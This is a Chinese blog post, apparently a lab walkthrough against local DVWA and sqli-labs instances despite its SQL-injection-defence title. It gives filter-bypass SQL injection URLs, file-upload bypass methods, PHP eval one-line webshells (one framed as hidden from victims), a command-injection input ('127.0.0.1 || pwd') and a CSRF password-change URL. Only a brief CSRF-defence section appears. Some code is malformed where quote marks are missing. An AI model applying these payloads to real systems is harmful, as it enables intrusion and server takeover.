如何解决SQL注入的安全问题

30次阅读
没有评论

共计 5950 个字符,预计需要花费 15 分钟才能阅读完成。

这篇文章主要为大家展示了“如何解决 SQL 注入的安全问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让丸趣 TV 小编带领大家一起研究并学习一下“如何解决 SQL 注入的安全问题”这篇文章吧。

黑名单过滤技术

1、过滤 sql 关键字段
常见的关键字:and、or、union all select、引号、空格等等过滤
还有一些类似的技术不是过滤而是通过转义函数或者剥离非法关键字

绕过方法:

1、大小写变形(id=-1 UniOn sEleCt 1,2,3……)

2、编码:hex 码、urlencode

3、注释‘/or/

4、过滤替换(and–、or–||)

5、截断

二、文件上传漏洞

我们在上网时经常会使用文件上传的功能,比如上传一个头像图片,上传一个文件,上传一个视频等等,我都知道这是一个正常的功能,但是大家有没有想过文件上传后,服务器是怎么处理或者解析这些文件的呢,如果服务器在处理这些上传文件的时候做的不够安全,就会导致安全事件的发生,比如:上传 web 脚本文件让服务器执行

(1)上传木马病毒文件诱导用户或者管理员下载

(2)上传钓鱼文件

(3)上传欺诈文件

文件上传漏洞核心

要使得文件上传攻击能够成功,一般需要满足两个要素:

(1)包含 webshell 文件能够成功被上传到服务器上

(2)该文件能够被服务器解析或者我们能访问到该上传文件

实现核心—上传绕过技术

一般而言文件上传遇到的检测技术:+

(1)客户端 javascript 检测 (通常为检测文件扩展名)

(2)服务端 MIME 类型检测 (检测 Content-Type 内容)

(3)服务端目录路径检测 (检测跟 path 参数相关的内容)

(4)服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

(5)服务端文件内容检测 (检测内容是否合法或含有恶意代码)

客户端检测绕过(javascript 检测)

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码最常见的就是检测扩展名是否合法,这类绕过很简单。
做法:制作 webshell 文件(比如 shell.php)— 修改为合法扩展名(shell.png)— burp 拦截改为(shell.php)— 上传

服务端检测绕过(MIME 类型检测)

该检测是在服务器上进行,主要检查的是 content-type 类型值(白名单或者黑名单)。当然这个绕过也简单。
做法:制作 webshell 文件(比如 shell.php,Content-Type: text/plain)— burp 拦截改为(sontent-Type: image/gif)— 上传

服务器检测绕过(目录路径检测)

该检测是在服务器上进行,一般就检测路径是否合法,但稍微特殊一点的都没有防御。比如,shell.php.[\0].png [\0]、123.php0x00.png 其中 0x00 是 php、c 语言的截断符,就是说服务器在读文件的时候读到 shell.php 碰到【\0】就截止了当做 shell.php 执行了。类似还有 post 提交文件 shell.php%00.png
注:绕过后台检测,就是给他想要的文件后缀名,然后截断真实的后缀

服务端检测绕过(文件扩展名检测)

顾名思义就是检查文件扩展名,一般通过白黑名单防御。

1、黑名单 比如扩展名不能包含 html、php、php3,php4,asp、exe、bat、jsp + 文件名大小写绕过用像 AsP,pHp 之类的文件名绕过黑名单检测

(1)名单列表绕过用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

(2)特殊文件名绕过 比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

(3)htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

(4)解析调用 / 漏洞绕过这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用 / 漏洞

(5)白名单检测

2、白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

(1)0x00 截断绕过

用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞 + 解析调用 / 漏洞绕过这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用 / 漏洞

(2).htaccess 文件攻击

在 PHP manual 中提到了下面一段话 move_uploaded_file section, there is a warning which states‘If the destination file already exists, it will be overwritten. 如果 PHP 安全没配置好就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的这样就能任意定义解析名单了

服务端检测绕过(文件内容检测)

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难也可以说它是在代码层检测的最后一道关卡如果它被突破了,就算没有代码层的漏洞也给后面利用应用层的解析漏洞带来了机会。

(1)文件幻数头检查
主要是检测文件内容开始处的文件幻数,比如:要绕过 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。要绕过 gif 文件幻数检测 Value = 47 49 46 38 39 61 要绕过 png 文件幻数检测 Value = 89 50 4E 47

(2)文件相关信息检测

图像文件相关信息检测常用的就是 getimagesize()函数只需要把文件头部分伪造好就 ok 了,就是在幻数的基础上还加了一些文件信息有点像下面的结构

GIF89a
(...some binary data for image...)
  ?php phpinfo(); ? 
(... skipping the rest of binary data ...)

(3)文件加载检测

这个是最变态的检测了,一般是调用 API 或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染,对渲染 / 加载测试的攻击方式是代码注入绕过对二次渲染的攻击方式是攻击文件加载器自身。

三、

1、(1)先将对应网址复制到下方,点击 Load URL,然后点击 Execute

(2)构造闭合,得到数据库名–dvwa,然后按照之前的套路发现系统报错,报错信息如下

系统自动加入了 \ 符号,是构造的函数出现错误,这时我们应规避这种现象,使系统不为构造函数自动添加特殊符号,对上述这种情况,可以使用 hex 码将字符串 dvwa 转换为十六进制(变为 0x……),这样将不会在构造函数中使用到单引号符号,此时系统将不再自动为构造函数添加特殊字符,破坏构造函数。

(3)同理,按照之前所使用的 SQL 语句,爆数据。

2、以 Less-25 为例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1  union all select 1,2,database()--+ // 根据回显构造闭合,爆出 database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1  union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+ // 爆出表名 table_name、列名 column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1  union all select 3,2,id from emails--+ // 爆出数据

小结:首先不断构造闭合输入,观察回显,发现系统过滤了“and”字符串,以及“+”(+ 相当于空格键)

然后我们猜测使用大小写混合的 and,或者交叉不连续出现 and,或者使用其他字符代替 and–如(主要目的是为了使用 and),又或者使用 hex 码、urlencode 转化的方法;同理,字符串“or”,或者在单词中出现的 or(如 information)也可以使用上述的方法。关键在于绕过系统的过滤,达到一定的目的

3、以 Less-26 为例

and 字符与 Less-25 相同的道理,过滤掉的空格可以使用 %20 – 空格、或者 TAB 键的编码、或者换行键的编码

4、以 http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/ 为例,界面如下,是一个可以 ping 的界面

该界面存在漏洞即可以使用连接符号在 ping 的同时完成其他动作,当在输入栏输入 127.0.0.1 || pwd,出现情况如下

发现界面中出现了当前文件目录,然后我们可以利用此漏洞获取一些想得到的数据
在此提及“一句话木马”

echo  ?php @eval($_POST[123]);?    123.php

[有时为了不让受害人发现,常把其他形式的语句与“一句话木马”连用

  ?php fputs(fopen( 345.php , w)), ?php @eval($_POST[1234]);?   1234.php

四、结合 File Inclusion 与 File Upload 实现攻击

(1)在 http://192.168.122.130/DVWA-1.9/security.php 下选择 DVWA security 为 Low
然后 File Upload 上传一个带有一句话木马的.php 文件,然后通过已知的目录,将信息添加到中国菜刀,获取所有目录—此时可以实现对文件的篡改、删除、上传等操作(有时可以通过重命名文件名来达到绕过的目的:123.png0x00.php —此处 0x00 代表命名结束)

使用中国菜刀,进行下图所示的添加—针对 echo‘?php @eval($_POST[123]);? 123.php

然后就可以通过中国菜刀获取目录如下:

(2)在 http://192.168.122.130/DVWA-1.9/security.php 下选择 DVWA security 为 Medium
此时上传.php 文件会回显错误,无法上传,所以我们将木马文件格式改为支持上传的格式,png 格式的文件中有一句话木马—此处以 png 格式为例

如何解决 SQL 注入的安全问题

手动设置浏览器代理

如何解决 SQL 注入的安全问题

启动 BurpLoader,进行抓包改名处理!

如何解决 SQL 注入的安全问题

然后 Action- Send to Repeater, 然后在 Repeater 中点击 Go,观察右边窗口,发现文件已经上传,打开中国菜刀,按照之前的步骤访问即可。

如何解决 SQL 注入的安全问题

(3)在 http://192.168.122.130/DVWA-1.9/security.php 下选择 DVWA security 为 High

如何解决 SQL 注入的安全问题

首先看到图片已经上传,那么上传的图片一定是已经经过处理的(加入了一句话木马),就是打开图片编码工具 winhex,在编码工具中加入一句话木马,重新生成一个新的编码后的图片。

如何解决 SQL 注入的安全问题

当然也可以使用 cmd 命令:copy 1.png/b+123.php /a TCP.png。此处 1.png 为正常图片,123.php 为一句话木马,将他们重新合成新的图片取名为 TCP.png,然后上传,即可成功(上面使用的是 cmd)。

如何解决 SQL 注入的安全问题

图片上传完成后,不能像 Medium 等级那样进行抓包改名处理。应该是 web 服务器端还有相应的安全性处理。
此时需要我们手动触发(当然也可以等待被攻击系统管理员点击图片触发)。触发之后我们就可以使用同样的方式,打开中国菜刀,进行目录的获取。

五、对于一些变态等级的处理思路:

compare,观察上传前与上传后哪些地方没有变(通过二异性),然后对上传数据做出一定的修改,从而达到一定目的。
一些其他的攻击方法:

1、以 http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/ 为例,在图片中写入触发指令,当管理员敲某命令时执行该图片,执行图片中包含的代码,即预埋一个常用的触发指令!

2、找到要攻击的系统默认存储临时文件的具体位置,然后改变文件的内容(比如说在文件中加入包含一句话木马的可执行文件等),达到预期的效果

3、对于会为上传文件自动修改文件名的系统,会使我们无法执行我们上传的非可执行文件,此时我们可以这样:因为设备处理文件是有一定限度的,可以每秒钟高频传输同一文件,使其后台来不及修改其中一两个文件的文件名,使之出现文件名不会被修改的情况,然后我们如果可以访问到该文件,执行即可进行攻击!

六、CSRF:Cross site Request Forgery 跨栈请求伪造(利用 cookie 值)

构造一个 URL,诱导受害人点击链接,从而利用受害人的 cookie 来实现受害人在自己不知道的情况下修改密码

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234 password_conf=1234 Change=Change#

举例:比如说黑客使用自己的账号密码登录某网站,然后点到修改密码界面,构造一个修改密码的 URL,当黑客想进行攻击时就诱导某受害人(该受害人之前使用浏览器登录网站时,浏览器中存有 cookie)点击之前构造好的 URL,然后在受害人不知道的情况下修改密码,此密码黑客知道,此时若攻击成功,黑客就能使用之前构造 URL 时构造的密码以受害人的身份登录网站,进行一系列操作!

当下的一些防御手段:

1、可以使用验证码进行防御

2、需要原始密码才能修改密码的网站

3、防御手法:no-referrer-when-downgrade

从一个网站链接到另外一个网站会产生新的 http 请求,referrer 是 http 请求中表示来源的字段。
no-referrer-when-downgrade 表示从 https 协议降为 http 协议时不发送 referrer 给跳转网站的服务器

如何解决 SQL 注入的安全问题

4、防伪机制 token,不同于 cookie,可以堵住绝大多数 CSRF 攻击(人手一个防伪码,别人猜不出来,如果自己要改密码,必须自己使用自己的 token 才能成功)—token 需要无规律、最好是加密。

以上是“如何解决 SQL 注入的安全问题”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注丸趣 TV 行业资讯频道!

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-08-04发表,共计5950字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)